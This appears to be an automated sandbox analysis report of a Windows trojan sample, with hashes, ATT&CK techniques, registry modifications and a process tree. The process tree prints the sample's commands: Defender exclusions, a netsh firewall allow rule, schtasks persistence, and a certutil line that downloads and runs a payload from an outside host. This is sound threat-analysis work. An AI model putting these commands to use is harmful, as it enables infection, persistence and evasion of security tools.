cd689e05263e010dd9c23607c7d8dee3e4d5c536232e8db22e9221bfbfe834ff

Analysis

max time kernel
26s
max time network
144s
platform
windows7_x64
resource
win7v20201028
submitted
09-11-2020 19:50

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General

Target

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Size

3.9MB
MD5

ca428635b70d5314dc97c8d22c66e0d5
SHA1

1eb3b6220ec71d758761fdc36a6b579947b6b6c3
SHA256

cd689e05263e010dd9c23607c7d8dee3e4d5c536232e8db22e9221bfbfe834ff
SHA512

ca8670e93d84dcd9afe358fc2d862aa746305356909644e4509970b0b098f762a7258f79d826954cb3cd7b531bf8f2d597f59b3d5a1705a10804f83cbfeb2d67

Score

10^/10

discovery evasion persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1340 csrss.exe
1848 patch.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
1340	csrss.exe
1848	patch.exe

Loads dropped DLL 8 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exepatch.exe

pid	process
1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
852
1848	patch.exe
1848	patch.exe
1848	patch.exe
1848	patch.exe
1848	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\cc32a828c4ee\cc32a828c4ee = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\FrostyFeather = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cc32a828c4ee.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\FrostyFeather = "\"C:\\Windows\\rss\\csrss.exe\""	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe	js
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe	js
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe	js

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

netsh.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs	netsh.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI	netsh.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig	netsh.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups	netsh.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas	netsh.exe

Drops file in Windows directory 2 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

description	ioc	process
File opened for modification	C:\Windows\rss	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
File created	C:\Windows\rss\csrss.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1700 schtasks.exe
2028 schtasks.exe

pid	process
1700	schtasks.exe
2028	schtasks.exe

Modifies data under HKEY_USERS 237 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.execsrss.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

pid process

2036 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
1928 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

pid	process
2036	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2036	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Token: SeImpersonatePrivilege	2036	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
Token: SeSystemEnvironmentPrivilege	1340	csrss.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.execmd.exe

description	pid	process	target process
PID 1928 wrote to memory of 816	1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe	cmd.exe
PID 1928 wrote to memory of 816	1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe	cmd.exe
PID 1928 wrote to memory of 816	1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe	cmd.exe
PID 1928 wrote to memory of 816	1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe	cmd.exe
PID 816 wrote to memory of 1148	816	cmd.exe	netsh.exe
PID 816 wrote to memory of 1148	816	cmd.exe	netsh.exe
PID 816 wrote to memory of 1148	816	cmd.exe	netsh.exe
PID 1928 wrote to memory of 1340	1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe	csrss.exe
PID 1928 wrote to memory of 1340	1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe	csrss.exe
PID 1928 wrote to memory of 1340	1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe	csrss.exe
PID 1928 wrote to memory of 1340	1928	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.21340.exe"
2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:816

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies service
- Modifies data under HKEY_USERS
PID:1148

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1340

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2028

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1700

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1848

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
MD5
ca428635b70d5314dc97c8d22c66e0d5

SHA1
1eb3b6220ec71d758761fdc36a6b579947b6b6c3

SHA256
cd689e05263e010dd9c23607c7d8dee3e4d5c536232e8db22e9221bfbfe834ff

SHA512
ca8670e93d84dcd9afe358fc2d862aa746305356909644e4509970b0b098f762a7258f79d826954cb3cd7b531bf8f2d597f59b3d5a1705a10804f83cbfeb2d67

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
